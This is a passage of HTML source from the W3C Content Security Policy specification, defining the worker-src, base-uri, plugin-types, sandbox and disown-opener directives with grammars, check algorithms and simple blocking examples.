id=\"ref-for-grammardef-serialized-source-list①①\">serialized-source-list</a>\n</pre>\n    <div class=\"example\" id=\"example-04ba5239\">\n     <a class=\"self-link\" href=\"#example-04ba5239\"></a> Given a page with the following Content Security Policy: \n<pre>Content-Security-Policy: <a data-link-type=\"dfn\" href=\"#worker-src\" id=\"ref-for-worker-src③\">worker-src</a> https://example.com/\n</pre>\n     <p>Fetches for the following code will return a network errors, as the URL\n    provided do not match <code>worker-src</code>'s <a data-link-type=\"dfn\" href=\"#source-lists\" id=\"ref-for-source-lists⑨\">source list</a>:</p>\n<pre class=\"highlight\"><span class=\"nt\">&lt;script></span>\n  <span class=\"kd\">var</span> blockedWorker <span class=\"o\">=</span> <span class=\"k\">new</span> Worker<span class=\"p\">(</span><span class=\"s2\">\"data:application/javascript,...\"</span><span class=\"p\">);</span>\n  blockedWorker <span class=\"o\">=</span> <span class=\"k\">new</span> SharedWorker<span class=\"p\">(</span><span class=\"s2\">\"https://example.org/\"</span><span class=\"p\">);</span>\n  navigator<span class=\"p\">.</span>serviceWorker<span class=\"p\">.</span>register<span class=\"p\">(</span><span class=\"s1\">'https://example.org/sw.js'</span><span class=\"p\">);</span>\n<span class=\"nt\">&lt;/script></span>\n</pre>\n    </div>\n    <h5 class=\"heading settled algorithm\" data-algorithm=\"worker-src Pre-request Check\" data-level=\"6.1.12.1\" id=\"worker-src-pre-request\"><span class=\"secno\">6.1.12.1. </span><span class=\"content\"> <code>worker-src</code> Pre-request Check </span><a class=\"self-link\" href=\"#worker-src-pre-request\"></a></h5>\n    <p>This directive’s <a data-link-type=\"dfn\" href=\"#directive-pre-request-check\" id=\"ref-for-directive-pre-request-check①④\">pre-request check</a> is as follows:</p>\n    <p>Given a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request\" id=\"ref-for-concept-request④⑤\">request</a> (<var>request</var>) and a <a data-link-type=\"dfn\" href=\"#content-security-policy-object\" id=\"ref-for-content-security-policy-object⑤⓪\">policy</a> (<var>policy</var>):</p>\n    <ol>\n     <li data-md=\"\">\n      <p class=\"assertion\">Assert: <var>policy</var> is unused.</p>\n     <li data-md=\"\">\n      <p>If <var>request</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-destination\" id=\"ref-for-concept-request-destination②②\">destination</a> is one of\n  \"<code>serviceworker</code>\", \"<code>sharedworker</code>\", or \"<code>worker</code>\":</p>\n      <ol start=\"4\">\n       <li data-md=\"\">\n        <p>If the result of executing <a href=\"#match-request-to-source-list\">§6.6.1.3 Does request match source list?</a> on <var>request</var> and this directive’s <a data-link-type=\"dfn\" href=\"#directive-value\" id=\"ref-for-directive-value④②\">value</a> is\n  \"<code>Does Not Match</code>\", return \"<code>Blocked</code>\".</p>\n      </ol>\n     <li data-md=\"\">\n      <p>Return \"<code>Allowed</code>\".</p>\n    </ol>\n    <h5 class=\"heading settled algorithm\" data-algorithm=\"worker-src Post-request Check\" data-level=\"6.1.12.2\" id=\"worker-src-post-request\"><span class=\"secno\">6.1.12.2. </span><span class=\"content\"> <code>worker-src</code> Post-request Check </span><a class=\"self-link\" href=\"#worker-src-post-request\"></a></h5>\n    <p>This directive’s <a data-link-type=\"dfn\" href=\"#directive-post-request-check\" id=\"ref-for-directive-post-request-check①⑤\">post-request check</a> is as follows:</p>\n    <p>Given a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request\" id=\"ref-for-concept-request④⑥\">request</a> (<var>request</var>), a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response\" id=\"ref-for-concept-response③⓪\">response</a> (<var>response</var>), and a <a data-link-type=\"dfn\" href=\"#content-security-policy-object\" id=\"ref-for-content-security-policy-object⑤①\">policy</a> (<var>policy</var>):</p>\n    <ol>\n     <li data-md=\"\">\n      <p class=\"assertion\">Assert: <var>policy</var> is unused.</p>\n     <li data-md=\"\">\n      <p>If <var>request</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-destination\" id=\"ref-for-concept-request-destination②③\">destination</a> is one of\n  \"<code>serviceworker</code>\", \"<code>sharedworker</code>\", or \"<code>worker</code>\":</p>\n      <ol>\n       <li data-md=\"\">\n        <p>If the result of executing <a href=\"#match-response-to-source-list\">§6.6.1.4 Does response to request match source list?</a> on <var>response</var>, <var>request</var>, and this directive’s <a data-link-type=\"dfn\" href=\"#directive-value\" id=\"ref-for-directive-value④③\">value</a> is \"<code>Does Not Match</code>\", return\n  \"<code>Blocked</code>\".</p>\n      </ol>\n     <li data-md=\"\">\n      <p>Return \"<code>Allowed</code>\".</p>\n    </ol>\n    <h3 class=\"heading settled\" data-level=\"6.2\" id=\"directives-document\"><span class=\"secno\">6.2. </span><span class=\"content\"> Document Directives </span><a class=\"self-link\" href=\"#directives-document\"></a></h3>\n    <p>The following directives govern the properties of a document or worker\n  environment to which a policy applies.</p>\n    <h4 class=\"heading settled\" data-level=\"6.2.1\" id=\"directive-base-uri\"><span class=\"secno\">6.2.1. </span><span class=\"content\"><code>base-uri</code></span><a class=\"self-link\" href=\"#directive-base-uri\"></a></h4>\n    <p>The <dfn class=\"dfn-paneled\" data-dfn-type=\"dfn\" data-export=\"\" id=\"base-uri\">base-uri</dfn> directive restricts the <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://url.spec.whatwg.org/#url\" id=\"ref-for-url④\">URL</a></code>s which can be used in\n  a <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://dom.spec.whatwg.org/#document\" id=\"ref-for-document①③\">Document</a></code>'s <code><a data-link-type=\"element\" href=\"https://html.spec.whatwg.org/multipage/semantics.html#the-base-element\" id=\"ref-for-the-base-element①\">base</a></code> element. The syntax for the directive’s name and\n  value is described by the following ABNF:</p>\n<pre>directive-name  = \"base-uri\"\ndirective-value = <a data-link-type=\"grammar\" href=\"#grammardef-serialized-source-list\" id=\"ref-for-grammardef-serialized-source-list①②\">serialized-source-list</a>\n</pre>\n    <p>The following algorithm is called during HTML’s <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/semantics.html#set-the-frozen-base-url\" id=\"ref-for-set-the-frozen-base-url①\">set the frozen base url</a> algorithm in order to monitor and enforce this directive:</p>\n    <h5 class=\"heading settled algorithm\" data-algorithm=\"Is base allowed for document?\" data-level=\"6.2.1.1\" id=\"allow-base-for-document\"><span class=\"secno\">6.2.1.1. </span><span class=\"content\"> Is <var>base</var> allowed for <var>document</var>? </span><a class=\"self-link\" href=\"#allow-base-for-document\"></a></h5>\n    <p>Given a <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://url.spec.whatwg.org/#url\" id=\"ref-for-url⑤\">URL</a></code> (<var>base</var>), and a <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://dom.spec.whatwg.org/#document\" id=\"ref-for-document①④\">Document</a></code> (<var>document</var>), this algorithm\n  returns \"<code>Allowed</code>\" if <var>base</var> may be used as the value of a <code><a data-link-type=\"element\" href=\"https://html.spec.whatwg.org/multipage/semantics.html#the-base-element\" id=\"ref-for-the-base-element②\">base</a></code> element’s <code><a data-link-type=\"element-sub\" href=\"https://html.spec.whatwg.org/multipage/semantics.html#attr-base-href\" id=\"ref-for-attr-base-href①\">href</a></code> attribute, and \"<code>Blocked</code>\" otherwise:</p>\n    <ol>\n     <li data-md=\"\">\n      <p>For each <var>policy</var> in <var>document</var>’s <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/webappapis.html#global-object\" id=\"ref-for-global-object①②\">global object</a>’s <a data-link-type=\"dfn\" href=\"#global-object-csp-list\" id=\"ref-for-global-object-csp-list①⑦\">csp list</a>:</p>\n      <ol>\n       <li data-md=\"\">\n        <p>Let <var>source list</var> be <code>null</code>.</p>\n       <li data-md=\"\">\n        <p>If a <a data-link-type=\"dfn\" href=\"#directives\" id=\"ref-for-directives②⑦\">directive</a> whose <a data-link-type=\"dfn\" href=\"#directive-name\" id=\"ref-for-directive-name②②\">name</a> is\n  \"<code>base-uri</code>\" is present in <var>policy</var>’s <a data-link-type=\"dfn\" href=\"#policy-directive-set\" id=\"ref-for-policy-directive-set①⓪\">directive\n  set</a>, set <var>source list</var> to that <a data-link-type=\"dfn\" href=\"#directives\" id=\"ref-for-directives②⑧\">directive</a>’s <a data-link-type=\"dfn\" href=\"#directive-value\" id=\"ref-for-directive-value④④\">value</a>.</p>\n       <li data-md=\"\">\n        <p>If <var>source list</var> is <code>null</code>, skip to the next <var>policy</var>.</p>\n       <li data-md=\"\">\n        <p>If the result of executing <a href=\"#match-url-to-source-list\">§6.6.1.5 Does url match source list in origin with redirect count?</a> on <var>base</var>, <var>source list</var>, <var>document</var>’s <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/urls-and-fetching.html#fallback-base-url\" id=\"ref-for-fallback-base-url\">fallback base URL</a>’s <a data-link-type=\"dfn\" href=\"https://url.spec.whatwg.org/#concept-url-origin\" id=\"ref-for-concept-url-origin\">origin</a>, and <code>0</code> is \"<code>Does Not Match</code>\":</p>\n        <ol>\n         <li data-md=\"\">\n          <p>Let <var>violation</var> be the result of executing <a href=\"#create-violation-for-global\">§2.4.1 Create a violation object for global, policy, and directive</a> on <var>document</var>’s <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/webappapis.html#global-object\" id=\"ref-for-global-object①③\">global\n  object</a>, <var>policy</var>, and \"<a data-link-type=\"dfn\" href=\"#base-uri\" id=\"ref-for-base-uri\"><code>base-uri</code></a>\".</p>\n         <li data-md=\"\">\n          <p>Set <var>violation</var>’s <a data-link-type=\"dfn\" href=\"#violation-resource\" id=\"ref-for-violation-resource⑨\">resource</a> to \"<code>inline</code>\".</p>\n         <li data-md=\"\">\n          <p>Execute <a href=\"#report-violation\">§5.3 Report a violation</a> on <var>violation</var>.</p>\n         <li data-md=\"\">\n          <p>If <var>policy</var>’s <a data-link-type=\"dfn\" href=\"#policy-disposition\" id=\"ref-for-policy-disposition①⑦\">disposition</a> is \"<code>enforce</code>\",\n  return \"<code>Blocked</code>\".</p>\n        </ol>\n      </ol>\n      <p class=\"note\" role=\"note\"><span>Note:</span> We compare against the fallback base URL in order to deal correctly with things like <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/iframe-embed-object.html#an-iframe-srcdoc-document\" id=\"ref-for-an-iframe-srcdoc-document②\">an iframe <code>srcdoc</code> <code>Document</code></a> which has been sandboxed into an opaque origin.</p>\n     <li data-md=\"\">\n      <p>Return \"<code>Allowed</code>\".</p>\n    </ol>\n    <h4 class=\"heading settled\" data-level=\"6.2.2\" id=\"directive-plugin-types\"><span class=\"secno\">6.2.2. </span><span class=\"content\"><code>plugin-types</code></span><a class=\"self-link\" href=\"#directive-plugin-types\"></a></h4>\n    <p>The <dfn class=\"dfn-paneled\" data-dfn-type=\"dfn\" data-export=\"\" id=\"plugin-types\">plugin-types</dfn> directive restricts the set of plugins that\n  can be embedded into a document by limiting the types of resources which can\n  be loaded. The directive’s syntax is described by the following ABNF grammar:</p>\n<pre>directive-name  = \"plugin-types\"\ndirective-value = <a data-link-type=\"grammar\" href=\"#grammardef-media-type-list\" id=\"ref-for-grammardef-media-type-list\">media-type-list</a>\n\n<dfn class=\"dfn-paneled\" data-dfn-type=\"grammar\" data-export=\"\" id=\"grammardef-media-type-list\">media-type-list</dfn> = <a data-link-type=\"grammar\" href=\"#grammardef-media-type\" id=\"ref-for-grammardef-media-type\">media-type</a> *( <a data-link-type=\"grammar\" href=\"https://tools.ietf.org/html/rfc7230#section-3.2.3\" id=\"ref-for-section-3.2.3⑥\">RWS</a> <a data-link-type=\"grammar\" href=\"#grammardef-media-type\" id=\"ref-for-grammardef-media-type①\">media-type</a> )\n<dfn class=\"dfn-paneled\" data-dfn-type=\"grammar\" data-export=\"\" id=\"grammardef-media-type\">media-type</dfn> = <a data-link-type=\"grammar\" href=\"https://tools.ietf.org/html/rfc2045#section-5.1\" id=\"ref-for-section-5.1\">type</a> \"/\" <a data-link-type=\"grammar\" href=\"https://tools.ietf.org/html/rfc2045#section-5.1\" id=\"ref-for-section-5.1①\">subtype</a>\n; <a data-link-type=\"grammar\" href=\"https://tools.ietf.org/html/rfc2045#section-5.1\" id=\"ref-for-section-5.1②\">type</a> and <a data-link-type=\"grammar\" href=\"https://tools.ietf.org/html/rfc2045#section-5.1\" id=\"ref-for-section-5.1③\">subtype</a> are defined in RFC 2045\n</pre>\n    <p>If a <code>plugin-types</code> directive is present, instantiation of an <code><a data-link-type=\"element\" href=\"https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-embed-element\" id=\"ref-for-the-embed-element③\">embed</a></code> or <code><a data-link-type=\"element\" href=\"https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element\" id=\"ref-for-the-object-element⑤\">object</a></code> element will fail if any of the following conditions hold:</p>\n    <ol>\n     <li data-md=\"\">\n      <p>The element does not explicitly declare a <a data-link-type=\"dfn\" href=\"https://mimesniff.spec.whatwg.org/#valid-mime-type\" id=\"ref-for-valid-mime-type\">valid MIME type</a> via a <code><a data-link-type=\"element-sub\" href=\"https://html.spec.whatwg.org/multipage/iframe-embed-object.html#attr-embed-type\" id=\"ref-for-attr-embed-type\">type</a></code> attribute.</p>\n     <li data-md=\"\">\n      <p>The declared type does not match one of the items in the directive’s\n  value.</p>\n     <li data-md=\"\">\n      <p>The fetched resource does not match the declared type.</p>\n    </ol>\n    <div class=\"example\" id=\"example-b40ed0be\">\n     <a class=\"self-link\" href=\"#example-b40ed0be\"></a> Given a page with the following Content Security Policy: \n<pre>Content-Security-Policy: <a data-link-type=\"dfn\" href=\"#plugin-types\" id=\"ref-for-plugin-types\">plugin-types</a> application/pdf\n</pre>\n     <p>Fetches for the following code will all return network errors:</p>\n<pre class=\"highlight\"><span class=\"c\">&lt;!-- No 'type' declaration --></span>\n<span class=\"nt\">&lt;object</span> <span class=\"na\">data=</span><span class=\"s\">\"https://example.com/flash\"</span><span class=\"nt\">>&lt;/object></span>\n\n<span class=\"c\">&lt;!-- Non-matching 'type' declaration --></span>\n<span class=\"nt\">&lt;object</span> <span class=\"na\">data=</span><span class=\"s\">\"https://example.com/flash\"</span> <span class=\"na\">type=</span><span class=\"s\">\"application/x-shockwave-flash\"</span><span class=\"nt\">>&lt;/object></span>\n\n<span class=\"c\">&lt;!-- Non-matching resource --></span>\n<span class=\"nt\">&lt;object</span> <span class=\"na\">data=</span><span class=\"s\">\"https://example.com/flash\"</span> <span class=\"na\">type=</span><span class=\"s\">\"application/pdf\"</span><span class=\"nt\">>&lt;/object></span>\n</pre>\n     <p>If the page allowed Flash content by sending the following header:</p>\n<pre>Content-Security-Policy: <a data-link-type=\"dfn\" href=\"#plugin-types\" id=\"ref-for-plugin-types①\">plugin-types</a> application/x-shockwave-flash\n</pre>\n     <p>Then the second item above would load successfully:</p>\n<pre class=\"highlight\"><span class=\"c\">&lt;!-- Matching 'type' declaration and resource --></span>\n<span class=\"nt\">&lt;object</span> <span class=\"na\">data=</span><span class=\"s\">\"https://example.com/flash\"</span> <span class=\"na\">type=</span><span class=\"s\">\"application/x-shockwave-flash\"</span><span class=\"nt\">>&lt;/object></span>\n</pre>\n    </div>\n    <h5 class=\"heading settled algorithm\" data-algorithm=\"plugin-types Post-Request Check\" data-dfn-type=\"dfn\" data-level=\"6.2.2.1\" data-lt=\"plugin-types Post-Request Check\" data-noexport=\"\" id=\"plugin-types-post-request-check\"><span class=\"secno\">6.2.2.1. </span><span class=\"content\"> <code>plugin-types</code> Post-Request Check </span><a class=\"self-link\" href=\"#plugin-types-post-request-check\"></a></h5>\n    <p>This directive’s <a data-link-type=\"dfn\" href=\"#directive-post-request-check\" id=\"ref-for-directive-post-request-check①⑥\">post-request check</a> algorithm is as\n  follows:</p>\n    <p>Given a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request\" id=\"ref-for-concept-request④⑦\">request</a> (<var>request</var>), a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response\" id=\"ref-for-concept-response③①\">response</a> (<var>response</var>), and a <a data-link-type=\"dfn\" href=\"#content-security-policy-object\" id=\"ref-for-content-security-policy-object⑤②\">policy</a> (<var>policy</var>):</p>\n    <ol>\n     <li data-md=\"\">\n      <p class=\"assertion\">Assert: <var>policy</var> is unused.</p>\n     <li data-md=\"\">\n      <p>If <var>request</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-destination\" id=\"ref-for-concept-request-destination②④\">destination</a> is either \"<code>object</code>\"\n  or \"<code>embed</code>\":</p>\n      <ol>\n       <li data-md=\"\">\n        <p>Let <var>type</var> be the result of <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-header-extract-mime-type\" id=\"ref-for-concept-header-extract-mime-type\">extracting a\n  MIME type</a> from <var>response</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response-header-list\" id=\"ref-for-concept-response-header-list④\">header list</a>.</p>\n       <li data-md=\"\">\n        <p>If <var>type</var> is not an <a data-link-type=\"dfn\" href=\"https://infra.spec.whatwg.org/#ascii-case-insensitive\" id=\"ref-for-ascii-case-insensitive③\">ASCII case-insensitive</a> match for any item\n  in this directive’s <a data-link-type=\"dfn\" href=\"#directive-value\" id=\"ref-for-directive-value④⑤\">value</a>, return \"<code>Blocked</code>\".</p>\n      </ol>\n     <li data-md=\"\">\n      <p>Return \"<code>Allowed</code>\".</p>\n    </ol>\n    <h5 class=\"heading settled dfn-paneled algorithm\" data-algorithm=\"Should plugin element be blocked a priori by Content\n    Security Policy?:\" data-dfn-type=\"dfn\" data-level=\"6.2.2.2\" data-lt=\"Should plugin element be blocked a priori by Content Security Policy?:\" data-noexport=\"\" id=\"should-plugin-element-be-blocked-a-priori-by-content-security-policy\"><span class=\"secno\">6.2.2.2. </span><span class=\"content\"> Should <var>plugin element</var> be blocked <i lang=\"la\">a priori</i> by Content\n    Security Policy?: </span></h5>\n    <p>Given an <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://dom.spec.whatwg.org/#element\" id=\"ref-for-element④\">Element</a></code> (<var>plugin element</var>), this algorithm returns \"<code>Blocked</code>\"\n  or \"<code>Allowed</code>\" based on the element’s <code>type</code> attribute and the policy applied to\n  its document:</p>\n    <ol class=\"algorithm\">\n     <li data-md=\"\">\n      <p>For each <var>policy</var> in <var>plugin element</var>’s <a data-link-type=\"dfn\" href=\"https://dom.spec.whatwg.org/#concept-node-document\" id=\"ref-for-concept-node-document\">node document</a>’s <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/dom.html#concept-document-csp-list\" id=\"ref-for-concept-document-csp-list⑨\">CSP list</a>:</p>\n      <ol>\n       <li data-md=\"\">\n        <p>If <var>policy</var> contains a <a data-link-type=\"dfn\" href=\"#directives\" id=\"ref-for-directives②⑨\">directive</a> (<var>directive</var>) whose name is <code>plugin-types</code>:</p>\n        <ol>\n         <li data-md=\"\">\n          <p>Let <var>type</var> be \"<code>application/x-java-applet</code>\" if <var>plugin element</var> is an <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/obsolete.html#applet\" id=\"ref-for-applet③\"><code>applet</code></a> element, or <var>plugin element</var>’s <code>type</code> attribute’s\n  value if present, or \"<code>null</code>\" otherwise.</p>\n         <li data-md=\"\">\n          <p>Return \"<code>Blocked</code>\" if any of the following are true:</p>\n          <ol>\n           <li data-md=\"\">\n            <p><var>type</var> is <code>null</code>.</p>\n           <li data-md=\"\">\n            <p><var>type</var> is not a <a data-link-type=\"dfn\" href=\"https://mimesniff.spec.whatwg.org/#valid-mime-type\" id=\"ref-for-valid-mime-type①\">valid MIME type</a>.</p>\n           <li data-md=\"\">\n            <p><var>type</var> is not an <a data-link-type=\"dfn\" href=\"https://infra.spec.whatwg.org/#ascii-case-insensitive\" id=\"ref-for-ascii-case-insensitive④\">ASCII case-insensitive</a> match for any\n  item in <var>directive</var>’s <a data-link-type=\"dfn\" href=\"#directive-value\" id=\"ref-for-directive-value④⑥\">value</a>.</p>\n          </ol>\n        </ol>\n      </ol>\n     <li data-md=\"\">\n      <p>Return \"<code>Allowed</code>\".</p>\n    </ol>\n    <h4 class=\"heading settled\" data-level=\"6.2.3\" id=\"directive-sandbox\"><span class=\"secno\">6.2.3. </span><span class=\"content\"><code>sandbox</code></span><a class=\"self-link\" href=\"#directive-sandbox\"></a></h4>\n    <p>The <dfn class=\"dfn-paneled\" data-dfn-type=\"dfn\" data-export=\"\" id=\"sandbox\">sandbox</dfn> directive specifies an HTML sandbox policy which the\n  user agent will apply to a resource, just as though it had been included in\n  an <code><a data-link-type=\"element\" href=\"https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-iframe-element\" id=\"ref-for-the-iframe-element②\">iframe</a></code> with a <code><a data-link-type=\"element-sub\" href=\"https://html.spec.whatwg.org/multipage/iframe-embed-object.html#attr-iframe-sandbox\" id=\"ref-for-attr-iframe-sandbox\">sandbox</a></code> property.</p>\n    <p>The directive’s syntax is described by the following ABNF grammar, with\n  the additional requirement that each token value MUST be one of the\n  keywords defined by HTML specification as allowed values for the <code><a data-link-type=\"element\" href=\"https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-iframe-element\" id=\"ref-for-the-iframe-element③\">iframe</a></code> <code><a data-link-type=\"element-sub\" href=\"https://html.spec.whatwg.org/multipage/iframe-embed-object.html#attr-iframe-sandbox\" id=\"ref-for-attr-iframe-sandbox①\">sandbox</a></code> attribute <a data-link-type=\"biblio\" href=\"#biblio-html\">[HTML]</a>.</p>\n<pre>directive-name  = \"sandbox\"\ndirective-value = \"\" / <a data-link-type=\"grammar\" href=\"https://tools.ietf.org/html/rfc7230#section-3.2.6\" id=\"ref-for-section-3.2.6\">token</a> *( <a data-link-type=\"grammar\" href=\"https://tools.ietf.org/html/rfc7230#section-3.2.3\" id=\"ref-for-section-3.2.3⑦\">RWS</a> <a data-link-type=\"grammar\" href=\"https://tools.ietf.org/html/rfc7230#section-3.2.6\" id=\"ref-for-section-3.2.6①\">token</a> )\n</pre>\n    <p>This directive has no reporting requirements; it will be ignored entirely when\n  delivered in a <a data-link-type=\"http-header\" href=\"#header-content-security-policy-report-only\" id=\"ref-for-header-content-security-policy-report-only③\"><code>Content-Security-Policy-Report-Only</code></a> header, or within\n  a <code><a data-link-type=\"element\" href=\"https://html.spec.whatwg.org/multipage/semantics.html#meta\" id=\"ref-for-meta①⓪\">meta</a></code> element.</p>\n    <h5 class=\"heading settled algorithm\" data-algorithm=\"sandbox Response Check\" data-level=\"6.2.3.1\" id=\"sandbox-response\"><span class=\"secno\">6.2.3.1. </span><span class=\"content\"> <code>sandbox</code> Response Check </span><a class=\"self-link\" href=\"#sandbox-response\"></a></h5>\n    <p>This directive’s <a data-link-type=\"dfn\" href=\"#directive-response-check\" id=\"ref-for-directive-response-check②\">response check</a> algorithm is as\n  follows:</p>\n    <p>Given a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request\" id=\"ref-for-concept-request④⑧\">request</a> (<var>request</var>), a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response\" id=\"ref-for-concept-response③②\">response</a> (<var>response</var>), and a <a data-link-type=\"dfn\" href=\"#content-security-policy-object\" id=\"ref-for-content-security-policy-object⑤③\">policy</a> (<var>policy</var>):</p>\n    <ol>\n     <li data-md=\"\">\n      <p class=\"assertion\">Assert: <var>response</var> is unused.</p>\n     <li data-md=\"\">\n      <p>If <var>policy</var>’s <a data-link-type=\"dfn\" href=\"#policy-disposition\" id=\"ref-for-policy-disposition①⑧\">disposition</a> is not \"<code>enforce</code>\", then\n  return \"<code>Allowed</code>\".</p>\n     <li data-md=\"\">\n      <p>If <var>request</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-destination\" id=\"ref-for-concept-request-destination②⑤\">destination</a> is one of\n  \"<code>serviceworker</code>\", \"<code>sharedworker</code>\", or \"<code>worker</code>\":</p>\n      <ol>\n       <li data-md=\"\">\n        <p>If the result of the <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/origin.html#parse-a-sandboxing-directive\" id=\"ref-for-parse-a-sandboxing-directive\">Parse a sandboxing directive</a> algorithm\n  using this directive’s <a data-link-type=\"dfn\" href=\"#directive-value\" id=\"ref-for-directive-value④⑦\">value</a> as the input\n  contains either the <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/origin.html#sandboxed-scripts-browsing-context-flag\" id=\"ref-for-sandboxed-scripts-browsing-context-flag\">sandboxed scripts browsing context flag</a> or\n  the <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/origin.html#sandboxed-origin-browsing-context-flag\" id=\"ref-for-sandboxed-origin-browsing-context-flag\">sandboxed origin browsing context flag</a> flags, return\n  \"<code>Blocked</code>\".</p>\n        <p class=\"note\" role=\"note\"><span>Note:</span> This will need to change if we allow Workers to be sandboxed into\n  unique origins, which seems like a pretty reasonable thing to do.</p>\n      </ol>\n     <li data-md=\"\">\n      <p>Return \"<code>Allowed</code>\".</p>\n    </ol>\n    <h5 class=\"heading settled algorithm\" data-algorithm=\"sandbox Initialization\" data-level=\"6.2.3.2\" id=\"sandbox-init\"><span class=\"secno\">6.2.3.2. </span><span class=\"content\"> <code>sandbox</code> Initialization </span><a class=\"self-link\" href=\"#sandbox-init\"></a></h5>\n    <p>This directive’s <a data-link-type=\"dfn\" href=\"#directive-initialization\" id=\"ref-for-directive-initialization②\">initialization</a> algorithm is\n  responsible for adjusting a <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://dom.spec.whatwg.org/#document\" id=\"ref-for-document①⑤\">Document</a></code>'s <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/origin.html#forced-sandboxing-flag-set\" id=\"ref-for-forced-sandboxing-flag-set\">forced sandboxing flag set</a> according to the <a data-link-type=\"dfn\" href=\"#sandbox\" id=\"ref-for-sandbox\"><code>sandbox</code></a> values present in its policies, as\n  follows:</p>\n    <p>Given a <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://dom.spec.whatwg.org/#document\" id=\"ref-for-document①⑥\">Document</a></code> or <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/webappapis.html#global-object\" id=\"ref-for-global-object①④\">global object</a> (<var>context</var>), a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response\" id=\"ref-for-concept-response③③\">response</a> (<var>response</var>), and a <a data-link-type=\"dfn\" href=\"#content-security-policy-object\" id=\"ref-for-content-security-policy-object⑤④\">policy</a> (<var>policy</var>):</p>\n    <ol>\n     <li data-md=\"\">\n      <p class=\"assertion\">Assert: <var>response</var> is unused.</p>\n     <li data-md=\"\">\n      <p>If <var>policy</var>’s <a data-link-type=\"dfn\" href=\"#policy-disposition\" id=\"ref-for-policy-disposition①⑨\">disposition</a> is not \"<code>enforce</code>\", or <var>context</var> is not a <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://dom.spec.whatwg.org/#document\" id=\"ref-for-document①⑦\">Document</a></code>, then abort this algorithm.</p>\n      <p class=\"note\" role=\"note\"><span>Note:</span> This will need to change if we allow Workers to be sandboxed,\n  which seems like a pretty reasonable thing to do.</p>\n     <li data-md=\"\">\n      <p><a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/origin.html#parse-a-sandboxing-directive\" id=\"ref-for-parse-a-sandboxing-directive①\">Parse a sandboxing directive</a> using this directive’s <a data-link-type=\"dfn\" href=\"#directive-value\" id=\"ref-for-directive-value④⑧\">value</a> as the input, and <var>context</var>’s <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/origin.html#forced-sandboxing-flag-set\" id=\"ref-for-forced-sandboxing-flag-set①\">forced\n  sandboxing flag set</a> as the output.</p>\n    </ol>\n    <section class=\"wip\">\n     <h4 class=\"heading settled\" data-level=\"6.2.4\" id=\"directive-disown-opener\"><span class=\"secno\">6.2.4. </span><span class=\"content\"><code>disown-opener</code></span><a class=\"self-link\" href=\"#directive-disown-opener\"></a></h4>\n     <p>The <dfn class=\"dfn-paneled\" data-dfn-type=\"dfn\" data-export=\"\" id=\"disown-opener\"><code>disown-opener</code></dfn> directive ensures that a resource\n    will <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/browsers.html#disowned-its-opener\" id=\"ref-for-disowned-its-opener\">disown its opener</a> when navigated to. The directive’s syntax is\n    described by the following ABNF grammar:</p>\n<pre>directive-name  = \"disown-opener\"\ndirective-value = \"\"\n</pre>\n     <p>This directive has no reporting requirements; it will be ignored entirely when\n    delivered in a <a data-link-type=\"http-header\" href=\"#header-content-security-policy-report-only\" id=\"ref-for-header-content-security-policy-report-only④\"><code>Content-Security-Policy-Report-Only</code></a> header, or within\n    a <code><a data-link-type=\"element\" href=\"https://html.spec.whatwg.org/multipage/semantics.html#meta\" id=\"ref-for-meta①①\">meta</a></code> element.</p>\n     <p class=\"issue\" id=\"issue-55f190c5\"><a class=\"self-link\" href=\"#issue-55f190c5\"></a> Not sure this is the right model. We need to ensure that we take care\n    of <a href=\"https://github.com/w3c/webappsec/issues/139\">the inverse</a> as\n    well, and there might be a cleverer syntax that could encompass both a\n    document’s opener, and a document’s openees. <code>disown-openee</code> is weird.\n    Maybe <code>disown 'opener' 'openee'</code>? Do we need origin restrictions on either/both?</p>\n    </section>\n    <h5 class=\"heading settled algorithm\" data-algorithm=\"disown-opener Initialization\" data-level=\"6.2.4.1\" id=\"disown-opener-init\"><span class=\"secno\">6.2.4.1. </span><span class=\"content\"> <code>disown-opener</code> Initialization 